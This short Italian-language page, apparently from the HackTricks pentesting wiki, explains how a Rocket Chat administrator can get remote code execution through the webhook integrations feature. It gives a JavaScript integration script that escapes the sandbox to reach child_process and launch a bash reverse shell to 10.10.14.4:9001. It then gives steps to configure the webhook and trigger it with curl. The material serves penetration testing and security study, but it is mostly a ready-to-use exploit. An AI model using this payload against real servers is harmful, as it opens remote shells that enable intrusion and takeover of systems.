1.5 KiB

Rocket Chat

{{#include ../../banners/hacktricks-training.md}}

RCE

Se sei un admin all'interno di Rocket Chat puoi ottenere RCE.

  • Vai su Integrations e seleziona New Integration e scegli uno qualsiasi: Incoming WebHook o Outgoing WebHook.
  • /admin/integrations/incoming
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Configura il WebHook (il canale e il post come nome utente devono esistere):
  • Configura lo script WebHook:
  • Salva le modifiche
  • Ottieni l'URL WebHook generato:
  • Chiamalo con curl e dovresti ricevere la rev shell

{{#include ../../banners/hacktricks-training.md}}